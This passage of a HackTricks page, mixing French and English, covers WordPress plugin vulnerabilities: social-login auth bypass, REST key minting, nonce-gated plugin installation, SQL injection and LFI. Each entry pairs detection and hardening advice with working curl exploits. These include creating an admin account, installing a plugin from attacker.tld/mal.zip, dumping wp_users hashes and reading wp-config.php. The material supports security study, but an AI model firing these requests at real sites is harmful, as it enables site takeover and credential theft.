- Set-Cookie: wordpress_logged_in_* pour l’utilisateur victime ; les requêtes suivantes sont authentifiées.
Finding the action name
- Inspecter le thème/plugin pour des enregistrements add_action(‘wp_ajax_nopriv_…’, ‘…’) dans le code de social login (par ex., framework/add-ons/social-login/class-social-login.php).
- Grep pour wp_set_auth_cookie(), get_user_by(‘email’, …) dans les handlers AJAX.
Detection checklist
- Web logs montrant des POST non authentifiés vers /wp-admin/admin-ajax.php avec l’action social-login et id=
. - Réponses 200 avec le JSON de succès précédant immédiatement du trafic authentifié provenant de la même IP/User-Agent.
Hardening
- Ne pas dériver l’identité à partir des données client. N’accepter que des emails/IDs provenant d’un token/ID fournisseur validé.
- Exiger des nonces CSRF et des vérifications de capability même pour les helpers de login ; éviter d’enregistrer wp_ajax_nopriv_ sauf si strictement nécessaire.
- Valider et vérifier les réponses OAuth/OIDC côté serveur ; rejeter les providers manquants/invalide (pas de fallback sur POST id).
- Envisager de désactiver temporairement le social login ou de corriger virtuellement au niveau du périmètre (bloquer l’action vulnérable) jusqu’à correction.
Patched behaviour (Jobmonster 4.8.0)
- Retiré le fallback non sécurisé de $_POST[‘id’] ; $user_email doit provenir des branches fournisseur vérifiées dans switch($_POST[‘using’]).
Unauthenticated privilege escalation via REST token/key minting on predictable identity (OttoKit/SureTriggers ≤ 1.0.82)
Some plugins expose REST endpoints that mint reusable “connection keys” or tokens without verifying the caller’s capabilities. If the route authenticates only on a guessable attribute (e.g., username) and does not bind the key to a user/session with capability checks, any unauthenticated attacker can mint a key and invoke privileged actions (admin account creation, plugin actions → RCE).
- Vulnerable route (example): sure-triggers/v1/connection/create-wp-connection
- Flaw: accepts a username, issues a connection key without current_user_can() or a strict permission_callback
- Impact: full takeover by chaining the minted key to internal privileged actions
PoC – mint a connection key and use it
# 1) Obtain key (unauthenticated). Exact payload varies per plugin
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}
# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'
Pourquoi c’est exploitable
- Sensitive REST route protected only by low-entropy identity proof (username) or missing permission_callback
- No capability enforcement; minted key is accepted as a universal bypass
Detection checklist
- Grep le code du plugin pour register_rest_route(…, [ ‘permission_callback’ => ‘__return_true’ ])
- Toute route qui émet des tokens/keys basés sur une identité fournie dans la requête (username/email) sans la lier à un utilisateur authentifié ou à une capability
- Rechercher les routes ultérieures qui acceptent le token/key créé sans vérifications de capability côté serveur
Durcissement
- Pour toute REST route privilégiée : exiger un permission_callback qui applique current_user_can() pour la capability requise
- Ne pas générer de clés à longue durée de vie à partir d’une identité fournie par le client ; si nécessaire, émettre des tokens de courte durée, liés à l’utilisateur après authentification, et revérifier les capabilities lors de l’utilisation
- Valider le contexte utilisateur de l’appelant (wp_set_current_user ne suffit pas seul) et rejeter les requêtes où !is_user_logged_in() || !current_user_can(
)
Nonce gate misuse → unauthenticated arbitrary plugin installation (FunnelKit Automations ≤ 3.5.3)
Nonces prevent CSRF, not authorization. Si le code considère le passage d’un nonce comme un feu vert puis saute les vérifications de capability pour des opérations privilégiées (p.ex., install/activate plugins), des attaquants non authentifiés peuvent satisfaire une exigence de nonce faible et atteindre le RCE en installant un plugin backdoored ou vulnérable.
- Vulnerable path: plugin/install_and_activate
- Flaw: weak nonce hash check; no current_user_can(‘install_plugins’|‘activate_plugins’) once nonce “passes”
- Impact: full compromise via arbitrary plugin install/activation
PoC (la forme dépend du plugin ; à titre illustratif seulement)
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'
Detection checklist
- REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
- Any code path that sets $skip_caps = true after nonce validation
Hardening
- Always treat nonces as CSRF tokens only; enforce capability checks regardless of nonce state
- Require current_user_can(‘install_plugins’) and current_user_can(‘activate_plugins’) before reaching installer code
- Reject unauthenticated access; avoid exposing nopriv AJAX actions for privileged flows
SQLi non authentifié via le paramètre s (search) dans les actions depicter-* (Depicter Slider ≤ 3.6.1)
Plusieurs actions depicter-* consommaient le paramètre s (search) et l’ont concaténé dans des requêtes SQL sans paramétrisation.
- Paramètre : s (search)
- Faille : concaténation directe de chaînes dans les clauses WHERE/LIKE ; pas de requêtes préparées ni d’assainissement
- Impact : exfiltration de la base de données (utilisateurs, hashes), lateral movement
PoC
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"
Checklist de détection
- Grep pour depicter-* action handlers et l’utilisation directe de $_GET[‘s’] ou $_POST[‘s’] dans des requêtes SQL
- Revoir les requêtes personnalisées passées à $wpdb->get_results()/query() concaténant s
Durcissement
- Utiliser toujours $wpdb->prepare() ou les placeholders de wpdb ; rejeter côté serveur les métacaractères inattendus
- Ajouter une allowlist stricte pour s et normaliser vers le jeu de caractères/longueur attendus
Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)
Accepter des chemins contrôlés par l’attaquant dans un paramètre template sans normalisation/confinement permet de lire des fichiers locaux arbitraires, et parfois d’exécuter du code si des fichiers PHP/log inclusibles sont chargés au runtime.
- Paramètre: __kubio-site-edit-iframe-classic-template
- Flaw: pas de normalisation/allowlisting ; traversal permis
- Impact: divulgation de secrets (wp-config.php), RCE potentiel dans certains environnements (log poisoning, includable PHP)
PoC – lire wp-config.php
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"
Liste de contrôle de détection
- Tout handler concaténant des chemins de requête dans des sinks include()/require()/read sans confinement via realpath()
- Recherchez des traversal patterns (../) atteignant en dehors du répertoire de templates prévu
Durcissement
- Imposer des templates autorisés ; résoudre via realpath() et exiger str_starts_with(realpath(file), realpath(allowed_base))
- Normaliser les données d’entrée ; rejeter les séquences de traversal et les chemins absolus ; n’utiliser sanitize_file_name() que pour les noms de fichiers (pas les chemins complets)
Références
- Unauthenticated Arbitrary File Deletion Vulnerability in Litho Theme
- Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin
- Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites
- ASE 7.6.3 changeset – delete original roles on profile update
- Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses
- WooCommerce Payments ≤ 5.6.1 – Unauth privilege escalation via trusted header (Patchstack DB)
- Hackers exploiting critical WordPress WooCommerce Payments bug
- Unpatched Privilege Escalation in Service Finder Bookings Plugin
- Service Finder Bookings privilege escalation – Patchstack DB entry
- Unauthenticated Broken Authentication Vulnerability in WordPress Jobmonster Theme
- Q3 2025’s most exploited WordPress vulnerabilities and how RapidMitigate blocked them
- OttoKit (SureTriggers) ≤ 1.0.82 – Privilege Escalation (Patchstack DB)
- FunnelKit Automations ≤ 3.5.3 – Unauthenticated arbitrary plugin installation (Patchstack DB)
- Depicter Slider ≤ 3.6.1 – Unauthenticated SQLi via s parameter (Patchstack DB)
- Kubio AI Page Builder ≤ 2.5.1 – Unauthenticated LFI (Patchstack DB)
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

